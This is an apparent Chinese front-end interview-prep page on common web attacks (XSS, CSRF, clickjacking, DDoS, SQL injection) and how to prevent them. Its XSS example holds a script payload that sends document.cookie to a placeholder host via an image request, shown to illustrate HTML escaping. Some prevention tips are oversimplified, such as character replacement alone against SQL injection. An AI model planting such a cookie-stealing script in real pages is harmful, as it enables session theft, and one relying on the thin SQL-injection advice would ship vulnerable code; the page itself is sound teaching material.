第119题 前端攻击手段有哪些，该如何预防

XSS

  • Cross Site Script 跨站脚本攻击
  • 手段：黑客将JS代码插入到网页内容中，渲染时执行JS代码
  • 预防：特殊字符串替换（前端或后端）
    // 用户提交
    const str = `
      <p>123123</p>
      <script>
          var img = document.createElement('image')
          // 把cookie传递到黑客网站 img可以跨域
          img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie
      </script>
    `
    const newStr = str.replaceAll('<', '&lt;').replaceAll('>', '&gt;')
    // 替换字符，无法在页面中渲染
    //   &lt;script&gt;
    //     var img = document.createElement('image')
    //     img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie
    // &lt;/script&gt;

CSRF

  • Cross Site Request Forgery 跨站请求伪造
  • 手段：黑盒诱导用户去访问另一个网站的接口，伪造请求
  • 预防：严格的跨域限制 + 验证码机制
    • 判断 referer
    • 为cookie设置sameSite属性，禁止第三方网页跨域的请求能携带上cookie
    • token
    • 关键接口使用短信验证码

注意：偷取cookie是XSS做的事，CSRF的作用是借用cookie，并不能获取cookie

CSRF攻击攻击原理及过程如下：

  • 用户登录了A网站，有了cookie
  • 黑盒诱导用户到B网站，并发起A网站的请求
  • A网站的API发现有cookie，会在请求中携带A网站的cookie，认为是用户自己操作的

点击劫持

  • 手段：诱导界面上设置透明的iframe，诱导用户点击
  • 预防：让iframe不能跨域加载

DDOS

  • Distribute denial-of-service 分布式拒绝服务
  • 手段：分布式的大规模的流量访问，使服务器瘫痪
  • 预防：软件层不好做，需硬件预防（如阿里云的WAF 购买高防）

SQL注入

  • 手段：黑客提交内容时，写入sql语句，破坏数据库
  • 预防：处理内容的输入，替换特殊字符
Last Updated:
Contributors: leeguooooo